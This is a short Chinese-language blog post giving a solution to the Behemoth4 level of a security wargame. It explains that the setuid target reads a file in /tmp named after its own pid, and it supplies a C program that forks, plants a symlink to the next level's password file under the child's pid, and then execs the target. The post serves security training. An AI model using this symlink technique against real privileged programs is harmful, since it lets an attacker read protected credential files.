Behemoth4

Posted by rk700 on July 5, 2014

这道题的程序执行后,会几乎立刻(1秒)去读一个文件,文件名和程序的pid有关。当然可以创建一大堆链接,都指向密码文件,链接名是所有可能的pid,但这样太费事儿

我们用fork,父进程可以得到子进程的pid,由此创建链接文件;子进程先sleep一段时间,以确保父进程先创建链接,然后子进程exec目标程序即可。因为pid不会随exec变,所以这也就是目标程序的pid

c代码如下

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main(int argc, char *argv[]) {
    pid_t pid;
    pid = fork();
    if(pid == -1) {
        exit(1);
    }
    
    if(pid == 0) {
        sleep(2);
        char *argv[2] = {"/behemoth/behemoth4", NULL};
        execv("/behemoth/behemoth4", argv);
    }
    else {
        char link[32];
        snprintf(link, sizeof link, "/tmp/%d", pid);
        symlink("/etc/behemoth_pass/behemoth5", link);
        int status;
        wait(&status);
        exit(0);
    }
}